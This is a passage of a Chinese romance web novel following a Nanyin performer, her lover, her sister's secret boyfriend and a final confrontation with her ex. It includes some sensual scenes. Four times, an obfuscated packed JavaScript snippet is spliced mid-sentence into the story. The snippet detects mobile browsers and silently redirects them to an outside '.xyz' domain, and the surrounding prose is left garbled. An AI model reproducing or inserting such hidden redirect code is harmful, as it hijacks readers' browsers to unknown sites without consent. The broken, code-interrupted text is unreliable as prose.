甄好知道他一直跟在自己身后，她之所以转身逃离是因为在那一刻她清晰地感觉到了自己的心跳，她发现自己喜欢那个强势的吻，喜欢到从心里升起一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807658|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵甜蜜。 她不想要这种心动，也不想要这种甜蜜。 或者说，她不敢要这种心动，也不敢要这种甜蜜。 接下来，甄好又带着时序刷了好几个地图。 每到一个地方，时序都要笑着问她：“这也是你们来过的？他做过什么，我能做得比他好一万倍。” 一句话说得既霸道又满是酸楚，甄好好不容易硬起的心肠一连几次差点破功。 “今晚去你的公寓。”走到实在走不动时，甄好主动提出这个要求。 她明明可以不这么做的，可她就是提了出来。她也不知道自己这样做到底是为了什么，她只知道自己想再去一次那间公寓。 就像是要为这天收个尾，在没有秦深足迹的地方结束这美好又伤人的一天。 这一天，伤时序，也伤她自己。 时序仍旧是嘴角带着笑，温声地答应道：“好。” 事实证明，甄好的这个决定是错误的。 一回到熟悉的公寓，看着系上围裙在厨房里忙碌的时序，她根本舍不得将那句话说出口。 要不就这样吧，这样的生活好像也不错。 甄好这样安慰自己。 这间公寓承载着她和时序的所有甜蜜时光，哪怕这些温馨不曾见过光，也是她心里最珍视的。 “阿序，你是什么时候学会做饭的？”甄好扒在厨房门框朝里看，看着熟练操作厨具的男人，第一次问起这个问题。 时序颠锅的手一顿，没有马上回答。 在他们分开的那些年里，他从不曾放弃过对她的关注，无论是从网上还是从共同好友口中。 他看过她所有的直播和视频，知道她喜欢会做饭的男人，因此十指不沾阳春水的时少爷练就了一身好厨艺。 时谙还问他是不是想抓住哪个女人的胃，当时的他只是笑笑不说话，心里却一直在点头——他想抓住甄好的胃。 如今看来，他算是抓住一半了。 “喜欢就学了。”面对甄好的问题，时序只是这样简单回答道。 “哦。”甄好也没有刨根问底的意思，很快转移了话题，“今晚想看什么电影？” 他们在公寓吃饭的时候会找一部电影欣赏，渐渐成了一种难以割舍的习惯。 “找你喜欢的。”时序道。 “好，那我就随便找了啊。”说完，甄好转身走向客厅。 这种一起吃饭一起看电影的生活，让甄好有了一种谈恋爱的感觉。 不，是比谈恋爱还要让人安心的感觉。 甄好最终选定的是《绿皮书》，一部她一直很想看却没来得及看的美国电影。 等她调试好一切播放设备后，时序也做好了饭菜。 饭菜的香味勾得甄好馋虫大动，心里的那点郁闷也因此一扫而空。 “我应该是整个闽市最幸运的女人吧？”两人并排坐下来后，甄好笑意盈盈地说道。 “怎么说？”时序一边打饭一边问。 “你是谁？”甄好突然正色道，“你可是裴氏集团的继承人，是闽市多少名媛想要嫁的老公。” 此时，时序已经打好饭放在两人面前。听见这话，他侧头看着甄好。 “好好。”他开口，声音是从未有过的坚定，“我不管闽市的名媛怎么想，我这辈子只想做一个人的老公。” 他话音刚落，舒缓的手机铃声蓦地响起。 是甄好的手机响了，她拿起来一看，不禁满腹疑问：“他怎么会给我打电话……” 49. 一颗心蠢蠢欲动 我一遍又一遍地预设我们的分开，希望等那一日真的到来时，能够稀释掉我庞大的难过，哪怕只是一点点。 ——《甄好日记》 见甄好一脸惊讶，时序的目光不禁落在她身上。 “是沈翊。”甄好将手机屏幕微微偏转，让他能够看清来电人是谁。 沈翊是谁？沈翊是沈却大律师的堂弟，是甄美的同学。 “他怎么会给你打电话？”看到沈翊的名字，时序心里一咯噔，甚至心虚得有些不敢看甄好。 沈翊该不会是告状来的吧…… 因为存了别的心思，他登时收回视线，用盛汤的动作掩饰自己的不自在。 房子的事他一直没想好怎么和甄好说，这可以说是埋在他心里的一颗定时炸弹。 难道炸弹爆炸的时间开始倒计时了吗…… 他虽然表面上看起来没将注意力放在甄好身上，实际上耳朵竖得老高。 “好好姐，不好意思打扰你了。”甄好接起电话后，沈翊先是这样说道。 “没事没事，找我什么事呢？”甄好直接开了功放，这让时序的心提得更高。 “好好姐……”沈翊似乎有难言之隐，吞吞吐吐了半天才继续往下说，“你可不可以帮我一个忙？” 听到这句话甄好和时序默契地对视了一眼。 “好啊，你说。”甄好语调轻松道，“如果是我帮得上的，我一定帮。” “事情是这样的……”沈翊终于松了口气，开始娓娓道来。 只是他越说甄好越一脸茫然，她忍了又忍才没有打断他。 “嗯嗯，好，好，没问题……知道了。”无论沈翊说什么，她都答应道。 而旁听的时序一颗高高悬起的心终于落回肚子里，他不知其中关系，在甄好挂断电话后，还笑着道：“喜事一件啊。” 甄好却没那么乐观。 这件事是好是坏，此时下结论还言之尚早，更可恶的是…… 一想到自己被瞒了整整五年，她就觉得心里不是滋味。 “阿序，吃完饭我就不陪你看电影了。”甄好端起碗，夹菜的时候仿佛跟它们有仇似的，力道有些大。 时序见她有些不对劲，不禁追问：“怎么了？” “吃完饭我要去找一个人算账。”甄好快速咽下一口饭菜才咬牙道。 时序：“……” 这顿饭吃了不到半个小时就结束了，《绿皮书》也只看了五分之一左右。 “电影我有机会再接着看。”甄好暂停电影，对时序说道，“我要先回趟家。” 时序点点头：“我送你。” 甄好拒绝了：“不用，你继续把电影看完吧。放心，我只是回家有点事，处理完了就来找你。” 听她这么说，时序才稍微放下心：“那我等你回家一起看完剩下的电影。” “好。”甄好出门前又顿住脚步，转身面对跟在自己身后的男人。 她先是轻轻地抱了抱他，而后踮起脚吻上他的脸颊。 时序感觉到柔软的唇，心跳不由得漏了一拍，只是那抹温暖一触即离。 “谢谢你，阿序，晚饭很好吃。”说完这话，甄好便打开房门走了出去。 坐上出租车后，甄好彻底冷静了下来。 如果她现在贸然跑去找甄美，那势必会引发一场不必要的争吵，严重点说，甚至会演变成“战争”。 冲动是魔鬼，冲动是魔鬼。 甄好默念这句话，将内心的冲动强制压了回去。 但车已经上了，此时也已然行驶至高架桥，下车是不可能的。她也就没打算改变计划，还是决定回家一趟。 岂料这时司机小哥突然开口：“这位女士，不好意思打扰了，请问我能问您一个问题吗？” 司机小哥看起来跟甄好差不多大，声音温和，听起来令人如沐春风。 甄好没有拒绝：“可以呀，你问。” “我想问……”司机小哥不确定地又看了一眼后视镜，有些欲言又止，但最后还是问了出来，“您是不是那位非遗传承人，南音少女甄好好啊？” 听到这个问题，甄好一愣。 她的视频账号自停更以来已经过去一年多，粉丝一直在往下掉，她怎么都没想到会被人认出来，还是这样年轻的小伙子。 南音作为闽南地区的传统乐曲，多受一些年长者或喜爱民间乐曲人群青睐，她的粉丝群体里之所以有一批数量不少的年轻人，主要分为两派，一派是谴责和谩骂她消费非遗的，另一派是欣赏她文静却充满力量的性格，甚至有一部分称“被她的颜吸引”，俗称颜粉。对于这部分“颜粉”，她始终保持怀疑心态。 不自信，这三个字始终伴随甄好的成长足迹，哪怕已经长成二十八岁的成年人，也无法与之和解。 她下意识想要否认：“啊，我……” “不是”两个字却一直卡在喉咙里，怎么都说不出口。 她不想否定自己的过去，也不想错失非遗被更多人知道的机会。 所以最后她还是点了头：“是的，是我。” 语气铿锵地肯定过后，甄好后知后觉地感到羞赧，脸颊一瞬间变得热热的。 “甄老师好厉害。”司机小哥的语气顿时变得崇敬起来，连称呼都变了，“期待您更好的作品。” 突然被叫“甄老师”，甄好连耳朵都一起热了起来。 毫不夸张，这是她第一次在线下被人认出来，还是在这样密闭的空间里。 “谢谢你。”最后甄好只是这样礼貌地道谢，脸上保持着恰到好处的笑容。 司机小哥并未看出甄好有些不自在，整个人显得十分兴奋：“没想到会遇到甄老师，太惊喜了。甄老师等下可以给我签个名吗？啊，要是冒昧了，老师可以拒绝我的。我就是太高兴了！” “当然没问题。”司机小哥不知道的是，甄好比他更受宠若惊，听到他说要自己的签名，她紧张得手心都有些冒汗。 “真的吗？太好了！”司机小哥一个激动，声音都高了几分，“我喜欢甄老师很多年了，还有您的师兄陆老师，我一直很关注你们！南音能够被你们传承下来，我真的觉得特别欣慰。咱们国家的很多非遗文化都在慢慢消失，想想都觉得好可惜……” 他说的陆老师是陆星湛，被他这么一提，甄好才意识到自己很久没有见过这位大师兄了。 “谢谢你喜欢南音。”甄好这下不仅掌心发热，连同一颗心都热了起来。 知道有人这么关注且喜欢着南音，她心里涌起一种难以言喻的情感，好似有什么也在司机小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816789|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥的话里慢慢发芽着。 一路上，司机小哥都在喋喋不休着，说起他是无意间在剧院看到甄好的南音演出，后来又被大数据锁定，看到了甄好的视频号，然后一路关注至今。 “甄老师，我不知道您遇到了什么事，但我真的很想告诉您，您比很多人都做得好，甚至可以说是‘奉献’了自己的青春守护非遗，现在的年轻人没有几个是真正热爱传统文化的，您的坚持守护非常难能可贵。网上那些不好听的言论您不要在意，我相信真正对社会有贡献的人不会张嘴就是贬低和造谣。”司机小哥将一腔肺腑之言通通倒了出来，“多少人连天天早起都做不到，更何况是像您这样的非遗工作者。台上一分钟，台下十年功，您付出的努力和汗水绝对是我所不能想的。所以，真的很期待再次看到甄老师的风采！” “谢谢你，真的谢谢你。”甄好怎么都没想到会在这样平常的一个日子里，在这样普通得不能再普通的场景里，被一个陌生人真诚地鼓励到。 她克制住喉间的哽咽，一连说了好几遍谢谢。 “甄老师客气了，努力的人都是幸运的，掌声和荣耀都是甄老师应得的。”司机小哥的语调又温柔了几分，“甄老师，我可以再问您一个问题吗？” “当然可以，请问。”甄好不着痕迹地深吸一口气，又快速地眨了眨眼睛，压下那股想哭的冲动。 “我也是受您启发，现在成了一名自媒体博主，专门拍摄记录一些人间烟火，我想着来人世一遭，总要留下点什么。”司机小哥忽然也变得不好意思起来，“所以，甄老师，我可以把遇到您的事情剪辑成视频发到我的视频号吗？” 甄好一时没消化过来他的这段话，是以没有第一时间回答。 司机小哥以为她有所顾忌，很快又补充道：“您放心，我不会泄露您的隐私的！” “我不是这个意思。”甄好连忙表态，“很荣幸我能够成为你眼中的人间烟火。” “谢谢甄老师！”司机小哥顿时开心得语调又高了几个度，而此时，目的地也到了。 甄好下车后，司机小哥将头探出窗外，说道：“甄老师加油！我相信你！还有，谢谢你的签名，我一定会好好珍藏的！” “谢谢你，路上注意安全。”甄好下了车没有马上走。 “谢谢甄老师，甄老师真的好温柔。”司机小哥一路上一直在夸甄好，连即将分别的前一刻也没有停止。 这是甄好第一次打车结束后，还站在原地目送车子远去。 直到看不见车屁股了，她才转身缓缓地朝小区走去。 回到家里，没看见甄美的影子，她便独自一人坐在客厅的沙发上发呆。 那个司机小哥的话一直回荡在耳边，叫她的心蠢蠢欲动起来。 终于，像是有一根无形的线拉扯着甄好动了动。她从包里拿出手机，重新下载卸载了很久的视频软件。 在获取验证码等待登录的短短几秒钟内，她的心一下比一下跳得快。 当那个熟悉的页面映入眼帘，甄好感觉自己的心跳都要停止了，甚至连眼眶都热热的。 像是在和过去的自己面对面和解，在成功登录账号的一瞬间，她狂跳的心慢慢趋于平静。 可当她打开自己最后发布的那条视频评论区时，整个人呆住了。 50. 尝试点不一样的 有些事情，实际上只有我一个人在遗憾。 ——《甄好日记》 当年，甄好没有任何征兆地停更，所以最后一条视频依旧是有关南音的。 现在想来，那时候的她其实对粉丝很不负责任，她欠大家一个交代和一句道歉。 这种心理在看到评论区那个自她停更以来每日都来打卡的粉丝时达到了顶峰。 甄好一条一条地翻看着，对方的留言基本上大同小异，偶尔会夹杂着其他人或鼓励或诋毁的评论，但随着停更时间的拉长，视频的热度已经几乎没有，所以近几个月以来基本上只有那个人在发言—— 好好真好：“第三百零八天，我来了，等你。” ………… 好好真好：“第三百五十天，我又来了，甄老师什么时候回来？” ………… 好好真好：“第三百六十天，又是我，我来问问甄老师今天回来了吗？” ………… 好好真好：“第三百七十八天，我又来了，请问甄老师回来了吗？” ………… 好好真好：“第三百八十八天，秋先生一定也跟我一样，在等你回来。” ………… 整整三百八十八天，这位叫“好好真好”的网友一天都没有落下，天天在评论区打卡。 甄好看着这些坚持不懈的留言，看着对方顶着那个昵称提起秋先生，眼里的热意始终退不下去。 秋先生…… 想起秋先生，甄好的眼泪差点没忍住掉下来。 是了，她最对不起的人是秋先生。 从小学五年级拜师到高二那年秋先生意外离世，他对她倾注了无数心血。 她却令他如此失望。 对她来说，秋先生早就不单单是师父，而是亲人一般的存在。 如果不是闽园的重建，秋先生是不是就不会…… 甄好猛地摇摇头，不想再让自己深陷悲伤当中。 这件事就连警方都定性为意外事件，况且已经时隔这么多年，她再胡思乱想也无济于事。 甄好深呼吸一口气，退出视频软件，决定先给陆星湛打一个电话。 对方很快就接了起来：“喂。” “陆师兄，我想好了，我回团里。”甄好的声音轻轻的，却说得坚定，“对不起，让你等了这么久。” 也让秋先生等了这么久。 “嗯，我来安排。”陆星湛没有多说什么，语气也没有什么起伏。 但如释重负的感觉只有他自己知道。 挂断电话后，他喃喃自语：“秋先生，好好回来了，您的心血没有白费。” 像是萦绕在头顶的一团乌云忽然被风吹走，甄好看着暗下去的手机屏幕只觉得世间万物都变得明亮起来。 她重新解锁手机，打开微信，手指在屏幕上停顿了会儿，先是点进了个人资料。 “好什么好”这个昵称是自她拥有社交账号以来一直在用的，从□□到微信再到微博，这么多年来不曾改变过，而此时此刻，她觉得是时候换个名字了。 她一个字一个字删掉原来的，又一个字一个字郑重地打下新的昵称——真的很好。 她坚信，从今往后，一切都会真的很好，会越来越好。 甄好满意地看着自己的新名字，心情又轻松了几分。 人有时候真的挺奇怪，总爱做一些看起来没什么用的事情以寻求一个心理安慰。 比如此时的甄好便是如此。 不过她也无所谓，改完名字后点进三人小群，发言颇有些炫耀的意味：“姐妹们，快看我的新昵称！” 结果等了半天也没人回答她。 她这才反应过来，鄢云书多半是在跟手术，没空搭理自己；至于周淳芮正在万里高空之上，在睡觉的可能性比较高。 不过她也不在乎。 她只是迫切地想要用自己的方式和过去做一个告别，然后重新开始。 原来能量回笼是这种感觉，浑身仿佛有用不完的劲，整个人都容光焕发起来。 甄好很喜欢这种状态。 她这种状态持续高涨到甄美回家的那一刻，转变成另一种说不出来的情绪。 甄美身后跟着一个高大俊秀的男人——沈却的堂弟，沈翊。 “阿姐，你……我以为……”陡然看见出现在家里的甄好，她有些结结巴巴起来。 她以为甄好不会这么早回家。 甄好只是淡淡地看了她一眼，并未先开口说话。 “阿姐，这是我男朋友，沈翊。你也认识的。”甄美很快反应过来，将沈翊拉到前面，落落大方地介绍道。 甄好不着痕迹地吸了一口气。她当然知道面前这家伙是甄美的男朋友，她不仅知道沈翊是谁，还知道沈翊接下来要干什么。 “好好姐好。”沈翊倒是乖巧，笑得露出了小虎牙，丝毫不怯场。 “嗯，未来的妹夫好。”甄好刻意加重了“妹夫”两个字。 甄美吓得小脸都白了：“阿姐，你胡说什么呢？” 她本就心虚，被甄好这么一说，更加坐立难安。 她和沈翊交往五年，一直不敢让家里人知道，如果说一开始是因为不好意思，那么到了后来最主要的原因是害怕家里人反对。 甄好从谈婚论嫁到退婚，其中发生了什么，她再清楚不过了，说来说去还是敌不过“现实”这个词。 甄奶奶难得跟何允莲站在统一战线上的事情还有一件，那便是甄美的婚姻大事。 何允莲嘴里总念叨着：“小美将来要擦亮眼睛，找一个条件好一点的，日子才好过。别像我，嫁了你爸，要钱钱没有，要爱爱也没有。” 甄奶奶说得更直白：“小美要长相有长相，要学历有学历，个子又高挑，是千家求的好姑娘，找对象一定要找有房有车有店面的，你要听话，不然以后是要吃苦的。” 甄美回回都是嘴上应着，实际上一句话也没听进去。 年轻的时候总觉得有情饮水饱，哪里看得上没有温度的黄白之物。 在沈翊借用洗手间时，甄好立刻不装了，将头撇向一边，不再看甄美。 这是她不高兴了的表现。 客厅的气氛有些凝滞，两人谁都没有开口说话。 “阿姐，我不是故意不告诉你我交了男朋友的……”甄美到底还是忍不住软下声音来哄道，并做出保证，“我以后一定什么都告诉你，好不好？” “阿姐——”见甄好还是撇着头不理自己，甄美再接再厉，抓着她的胳膊轻轻摇晃道。 她说这话的时候，沈翊正好从洗手间出来。他脚步一顿，连呼吸都变慢了，一时不知道自己要不要继续往前走。 原来甄好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852964|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道他和甄美的关系吗？那他那个电话打得是不是有点冒昧了？ 就在他不知所措之际，听到甄美又说了一句：“阿姐，等小翊子回去了我再认认真真地跟你赔礼谢罪好不好呀？” 这回甄好终于有了反应：“算了，现在不是说这些的时候。” 其实早在甄美主动开口说话的时候，甄好就原谅了她。 这本来也不是什么大事，甚至是一件好事，她也不是真的生甄美的气。 况且沈翊还在。 沈翊回到客厅后，甄好很快就随便找了个理由溜出家门，给甄美两人留空间。 看到出现在面前的甄好，时序有些愣怔。 “你怎么……”他以为她这晚不会再过来了。 “怎么？很意外我回来？”甄好眉眼弯弯的样子明艳动人。 时序总觉得她哪里不一样了，可是怎么可能？他们明明才分开三个小时不到。 他不由得好奇是什么事让她发生这么大的改变，难道是…… 想到那个可能性的一瞬间，他就在心里疯狂否定。 不可能的。 就算秦深回头，甄好也一定不会那样做的。 他了解甄好，她不是那种没有底线的人。 “嗯，很意外。”时序没有拐弯抹角，直白道。 “不先让我进去？”甄好反问道。 她故意没有自己开门，选择了按门铃，此时两人正一里一外，面对面地站着。 时序逆光而站，面部笼在阴影里，甄好微微仰头看着他。明明他的表情看不真切，可她就是能感受到那道视线始终炽热。 从分食桃子的那个夏日夜晚，到如今夜夜缠绵的成年男女，她都是那个被目光追随的人。 被她这么一问，时序才反应过来，不过他并没有侧身让她进门，而是直接将人抱起。 甄好没料到他会突然抱起自己，愣了一瞬，便十分配合地伸手关上门。 关门声响起的同时，时序的吻也落了下来。 细细密密的，像温柔的露珠滑过绿叶，叶尖轻轻颤抖。 “好好，你今天好美。”喘息的间隙，时序不由自主地说道。 她从前是清冷隐忍的美，是内敛、小心翼翼的；而今是明媚动人的美，是外放的，是勾人心魄的。 “真的吗？”甄美的呼吸因为这个吻而变得有些紊乱，说话时带着一丝喘。 她出门前特意化了一个淡妆，又简单地绾了一个侧马尾发髻，再插上一支素朴的檀木簪，整个人看起来清新又温婉。 “嗯，很美。”时序滚烫的唇落在甄好露出的锁骨上，脖颈后的绑带一挑即开，挂脖款的衣裙瞬间滑落。 感受到胸前一片冰凉，甄好下意思抓住时序的手，开口时声音满是让人羞赧的情欲：“阿序，今晚不要了吧，我怕你……” 他们日日这样缠绵，她怕他的身体受不了…… 时序握住她细嫩的手放在嘴边轻轻地吻了吻，嗓音喑哑不已：“好好，你只要告诉我，你喜欢吗？” 甄好：“……” 她发现时序好像变得不一样了。 从前他是绅士的、温柔被动的，而今好像变得主动又霸道，甚至带着一点野。 没错，野。 而此时，野男人时序又步步紧逼道：“今晚尝试点不一样的，好不好？” 51. 第 51 章 岁月很长，幸好你在。 ——《甄好日记》 春节前夕，最后一周上班日的那个周末，甄好下楼准备跟时序碰面时，碰见了一个意料之外的人。 在确定自己没有看错人之后，甄好的心快速地跳动起来。 她原以为自己再见到这个人情绪不会再有什么起伏，直至此时她才发现自己错了。 秦深站在十步之遥的亭子里，手里提着什么，脸上挂着甄好看不明白的表情。 像是圣人般目空一切的淡然，又像是神舍不下众生的悲悯之情。 冒出这两个比喻的下一秒，甄好便觉得秦深根本不配，可也不知为何，她就是下意识这样觉得。 她不着痕迹地深呼吸一口气，决定装作没看见这个人，径直走过去。 当她一步一步靠近凉亭的时候，心里产生了一种诡异的想法——幸好自己不是素颜出门。 精致的妆容和穿搭像是坚硬的保护壳，守着她仅有的防线。 那条名为“不肯低头认输”的线在寒风中随着她越来越急的脚步声而摇摇欲坠。 事实上，这场长达八年的感情，没有赢家。 她和秦深，都输了。 就在两人即将错身而过时，秦深开口叫住了她：“好好。” 却再无下文。 甄好顿在原地，没有回头，也没有回答。 “你变漂亮了。”良久，秦深才又说道，“也清瘦了。” “找我什么事？”甄好微微握紧双拳，极力控制住有点发颤的声音，问道。 “我就是想你了，想来看看你。”秦深脱口而出后才发觉自己说的话有多不合时宜。 果真，听到这话后，甄好转身看着她，语气和表情一样冷：“秦先生，请您尊重您未来的妻子，也尊重我。” “对不起。”秦深垂下脑袋，像个做错了事的孩子。 “对不起”三个字一出，甄好心里涌起一股说不清的感觉。 这是事发以来，秦深第一次跟她说对不起。 在这一瞬间，甄好感受了前所未有的轻松与遗憾。 轻松的是，过去的种种好像在这三个字里渐渐烟消云散；遗憾的是，八年的相知相爱，好像真的只剩这三个字，再无其他。 “好好，我没有别的意思，我就是想再来看看你。”秦深嗫嚅了半晌，还是将心里话说出来了，“也许今天是我们最后一次见面了，我……我真的就只是想来看看你。看你好好的，我就放心了。” “多谢关心。”甄好不是拖泥带水的性格，既然两人的路已经到了分岔口，她也就不想再过多纠缠，“现在看完了，秦先生请自便。” 说完，她就转身准备离开，谁知手臂却在一瞬间被一只大手拽住。 “好好！”秦深面露痛苦之色，“你别走……” 甄好皱眉看着那只搭在自己手臂上的手，心里第一次升起厌恶的感觉：“放手。” 秦深这才如梦初醒，迅速放开了甄好的手臂，并连连道歉：“对不起，对不起……” 褪去“爱”的光环，甄好再次审视起面前的这个男人，忽然不知道他身上到底哪一点吸引自己。 原来，他也不过只是一个皮囊稍微好点的普通人罢了。 “秦先生，你是了解我这个人的。”甄好再度转身，看向他时眼中不再有留恋，语气坦坦荡荡，“事到如今，再说什么都没有意义了。我还是那句话，很感谢你陪伴我的这八年，也很感谢你千里迢迢来见我，但是，我们之间真的就到这里吧。” “好好……”听着她如此冷静的话语，秦深只感觉心脏一阵刺痛。 甄好没给他继续说下去的机会：“秦深，你陪我的只不过是人生里短短的一个八年，而往后余生的几十年中，与你相陪的人是那位丰小姐。她才是真正需要你的人，我也衷心地祝福你们。” “我话已经说得很清楚了，再见。”甄好说完朝他露出一个释然的笑，而后转身就想走。 “好好！”秦深却猛地拉住她的手腕，“我还有话没说完，你别走，我……” 他的力道有些大，甄好一个没注意整个人差点跌入他怀中。 另一股更大的拉力却将她拥入一个温暖的怀抱中，她抬头看见熟悉的脸。 “你怎么来了？”甄好惊魂未定地轻吐出一口气。 “你一向很守时，我担心你，就过来找你了。”时序在小区巷口多等了五分钟，发消息又没得到甄好的回复，便有些等不住了。 没想到会让他看到这一幕。 他将甄好护在怀中，旁若无人地捧起她的双手，语气和表情都极尽宠溺：“冷不冷？” 甄好轻轻地摇头：“不冷。” 反应过来身边还有人后，她的脸颊霎时浮起红霞，一种久违的羞赧之情袭上心头。 “你先放开我……”不同于方才让秦深放手的强硬，甄好这句话说得绵软中带着娇羞之意。 时序却不为所动，依旧牢牢将人锁在怀里，语气霸道又温柔：“风大，别着凉了。” 说完这话，他看向秦深，表面是笑着的，笑意却不达眼底：“秦先生，好久不见。” “你们……在一起了？”秦深的嘴唇微微颤抖，唇色发白。 “如你所见。”时序的眼睛眨都不眨，字字坚定，“到时候记得来参加我们的婚礼。” 听到这话，甄好震惊地看着时序，眼中闪烁着不明的情绪。 她没想到知道自己和时序关系的第一个人会是秦深，更没想到时序会以这样的方式公开他们的关系，最主要的是，她好像竟然不反感，甚至还觉得心里有一丝甜。 哪怕她知道时序说的结婚只不过是为了替她在秦深面前出口气。 “好……好啊，没问题。”秦深心情复杂，有点口不择言，“一定……一定……祝福你们……我走了，我不会再来打扰你们的……” 说完，他便失魂落魄地朝小区门口的方向走去。 甄好目送他离去的背影，心里五味杂陈。 “好好，不许看别的男人。”时序将她的脸掰过来看着自己，“你只能看我。” 甄好：“……” 她以前怎么没发现时序是这样黏人又占有欲这么强的人呢？ 突然想到什么，甄好装出不高兴的样子：“时序，说好不公开的。” “对不起，好好，我刚刚也是一时情急。”时序轻柔地将她滑落到脸颊前的碎发别到耳后，“下次不敢了，以后都听你的，好不好？” 甄好本来就是装出来的不满，听他这样说，责备的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874264|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更是一个字都说不出口：“那好吧。” “不过，有一件事我要郑重地重申一遍。”时序牵起她的手，温暖一瞬间传递开来，连带着两颗心也变得暖暖的。 “什么事？”甄好回握住他的手，两人变成十指相扣。 “我说来参加我们的婚礼，是真心话。”时序握着她的手加重了些许力道，像是在强调自己的真心，“我是真的想跟你结婚。” 他的话音一落地，甄好就感觉自己好不容易平静下来的心又开始一下一下地跳快。 怦——怦——怦—— “好好好，是真心话。”为了掩饰自己的心跳，甄好顺着他的话说，“我相信你是真的想跟我结婚。那么时先生，我们可以去吃饭了吗？今晚吃什么？” 时序看出她是在搪塞自己，不过他也不着急，结婚这件事还需从长计议。 他紧紧牵着甄好的手，踏出亭子，一边朝小区门口走去一边笑着附在她耳边轻声说道：“想吃……” 温热的呼吸落在甄好的脖颈上，酥酥麻麻的，而男人后面的话更是让她红了脸。 “瞎说什么呢……”她抬手推了推身边人，努力将时序那句充满暧昧和挑逗的话甩出脑海。 那顿饭吃了什么，甄好不记得了，但当晚时序吃到了他真正想吃的。 甄好躺在他怀里，感觉被折腾得有点累，闭上眼睛缓和过速的心跳。 时序温柔地亲了亲怀中人的额头，嗓音带着事后的性感撩人：“累不累？” 听到这个问题的一瞬间，甄好羞得又往他怀里躲了躲。 问的什么问题啊…… 谁家好人做完那种事问人家累不累的啊…… 她猛地想起网上一个让人听了就忍不住脸红心跳的段子——不要问女人爽不爽，要问累不累。 脑子里浮现这个段子的时候，甄好觉得脸更烫了，心跳也一下一下地加快起来。 她到底在想什么没羞没臊的啊…… 时序当然不会知道她此时内心的真实想法，只当她是真的累了，便又将人往怀里搂了搂，一颗心被填得满满的。 良久，甄好才闷闷地出声：“时序，你今天好像有点不一样。” “嗯？”时序吻了吻她的头发，声音喑哑，“哪里不一样？” “就是……”明明话题是甄好先挑起的，等真正说出来她又不好意思说出来。 这一次的时序比以往更卖力，也更…… 他是吃醋了吗？ “就是挺舒服的。”想到这个可能性，甄好脱口而出自己的感受。意识到自己说了什么，她将脑袋埋得更深。 她不敢相信这种话竟然是自己说出来的，太羞耻了。 听到她如此高度的赞扬，时序嘴角扬起得意的弧度，声音里满是餍足：“嗯，我也很舒服。” 轰隆—— 她听到了什么？ 她脑中的某根弦在时序的这句话之后猛然断裂，碎成无数心动的信号。 而很舒服的时序低头去亲吻甄好的唇，一路游移到细腻白皙的脖颈，再往下……空气中的温度急剧攀升，直至一发不可收拾。 “好好，你好甜。”情到浓时，男人低沉的呓语像迷人的曼陀罗花，散发着致命的吸引力，让她一遍又一遍地沉沦。 52. 老婆大人说了算 以前遇到一点小事就觉得天要塌了，现在天塌了都觉得是小事。 也许这就是成长吧。 ——《甄好日记》 直到已经被周淳芮和鄢云书拉到一个风景秀丽的小镇上，甄好依旧觉得不可思议。 “云云，你竟然能拥有三天假期？”甄好拍了拍自己的脸，“我不是在做梦吧？” 这些年来，鄢云书不是忙着下乡和规培，就是忙着轮科室和考试，几乎没有什么连贯的假期。尤其是最近调到了儿科，她给甄好两人看过自己的最近通话记录，不是半夜两三点，就是清晨四五点。 “云云，你们医生好伟大！”周淳芮瞪大眼睛看着那一通又一通的深夜急诊电话，语气心酸极了，“怪不得你肉眼可地憔悴了，原来是把美容觉时间都贡献给小朋友了。” 鄢云书苦涩地扯了扯嘴角，没有说话。 其实没人知道她并不喜欢当医生，医生这个职业规划是鄢识强加给她的，甚至从没问过她的意见。 面对甄好的大惊小怪，鄢云书再度无奈地扯了扯嘴角，淡淡地说道：“连轴工作了这么多年，如果连三天假期都凑不出来，那上班就更没意义了。” “你说得很对。”甄好说完又提出另一个问题，“不过你们一个拿出了宝贵的三天假期，一个特地提前结束欧洲之行飞回闽市，就为了来这座小镇？” 